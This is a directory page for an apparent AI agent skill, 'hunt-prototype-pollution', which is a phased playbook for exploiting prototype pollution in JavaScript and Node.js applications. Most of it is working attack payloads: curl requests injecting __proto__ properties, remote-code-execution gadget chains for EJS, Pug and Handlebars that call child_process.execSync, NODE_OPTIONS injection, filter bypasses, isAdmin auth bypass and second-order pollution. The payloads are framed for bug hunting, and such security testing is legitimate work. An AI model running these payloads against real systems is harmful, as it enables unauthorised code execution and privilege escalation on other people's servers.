SuperAPI AI Directory

hunt-prototype-pollution

General & other

View repository

Updated 10-16 03:04

About this skill

Prototype Pollution Hunting

Hunt for prototype pollution vulnerabilities where user-supplied properties merge into Object.prototype, affecting all objects in the runtime. Client-side pollution enables DOM XSS, cookie manipulation, and auth bypass. Server-side pollution chains to RCE via gadget chains in template engines (EJS, Pug, Handlebars) and CLI wrappers (child_process, NODE_OPTIONS).

When to Use

  • Application uses JavaScript/Node.js with object merge, clone, or extend operations on user input.
  • jQuery $.extend(true, ...) or $.fn.merge() with deep copy on untrusted data.
  • Lodash _.merge(), _.defaultsDeep(), _.set() receiving request body/query params.
  • Template engines (EJS, Pug, Handlebars) in the same runtime as user-controlled objects.
  • Server-side Node.js with child_process.exec/spawn accessible via polluted options.

Quick Detection

# client-side: pollute via query param
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/page?__proto__[polluted]=true"
server-side: pollute via JSON body

curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/config"
-H "Content-Type: application/json"
-d '{"proto":{"isAdmin":true}}'


## Procedure

### Phase 1 — Client-Side Pollution Vectors

```bash
# URL query string
https://target.com/?__proto__[test]=polluted
https://target.com/?constructor[prototype][test]=polluted

# JSON body in API
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/data" \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"polluted":"yes"}}'

# Form-encoded
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/form" \
  -d '__proto__[polluted]=true'

# Via Object.assign / spread in request handlers
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/settings" \
  -H "Content-Type: application/json" \
  -d '{"constructor":{"prototype":{"isAdmin":true}}}'

Phase 2 — Server-Side RCE via Gadget Chains

EJS RCE (outputFunctionName):

curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/render" \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"outputFunctionName":"_tmp;global.process.mainModule.require(\"child_process\").execSync(\"id\");"}}'

Pug RCE (self.block):

curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/preferences" \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"block":{"type":"Text","line":"process.mainModule.require(\"child_process\").execSync(\"id\")"}}}'

Handlebars RCE (compileFunction):

curl --max-time 30 --connect-timeout 10 -sk -X PUT "https://target.com/api/profile" \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"precompileOptions":{"knownHelpersOnly":false,"compat":true},"compileFunction":"return process.mainModule.require(\"child_process\").execSync(\"id\").toString();"}}'

NODE_OPTIONS injection:

curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/task" \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"NODE_OPTIONS":"--require /proc/self/environ","shell":"/bin/sh","env":{"NODE_DEBUG":"test"}}}'

Phase 3 — Filter Bypass Techniques

# Unicode normalization (e.g., ä → a)
https://target.com/?__proto__[test]=1         # blocked
https://target.com/?__pröto__[test]=1         # bypass (ä normalizes to a)

# constructor.prototype path
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/data" \
  -d '{"constructor":{"prototype":{"polluted":true}}}'

# Array pollution (lodash specific)
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/data" \
  -d '{"__proto__":{"polluted":[]}}'  # forces array coercion

# ppfuzz — automated prototype pollution scanner
ppfuzz -u https://target.com/api/merge -m POST -H "Content-Type: application/json"

Phase 4 — Client-Side Exploitation

// Verify pollution in browser console
Object.prototype.polluted  // should return the injected value

// DOM XSS via polluted options
// If the app uses jQuery $.extend with polluted {url: "javascript:alert(1)"}

// Auth bypass: pollute isAdmin
// If the app checks if (user.isAdmin) without hasOwnProperty

Phase 5 — Second-Order Pollution

# Store pollution in database, triggered by background job
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/profile" \
  -H "Content-Type: application/json" \
  -d '{"name":{"__proto__":{"isAdmin":true}}}'

# Later, when an admin views the profile or a cron job processes it,
# the pollution triggers in that context

Pitfalls

  • Not every __proto__ in a request is a finding. Only report when the polluted property actually affects application behavior.
  • Node.js 12+ and newer lodash versions have partial mitigations. Test with older versions first.
  • Server-side pollution requires a gadget. Polluting random objects without reaching a sink (exec, eval, template) has no impact.
  • BlackFan's client-side prototype pollution catalog is the canonical reference — cross-check findings against it.

Verification

  1. Inject __proto__[test]=value and verify Object.prototype.test === value in browser console or server response.
  2. For RCE: confirm command execution produces output (id/whoami) in a visible sink.
  3. For XSS: verify the polluted property reaches innerHTML, eval, document.write, or a script src attribute.
  4. Document the exact merge/copy function and the polluted property chain.

Related Skills

  • hunt-nodejs — Node.js-specific vulnerabilities including prototype pollution in Express/Next.js.
  • hunt-xss — DOM XSS often exploitable through client-side prototype pollution.
  • hunt-api-misconfig — Object merge on request bodies without hasOwnProperty checks.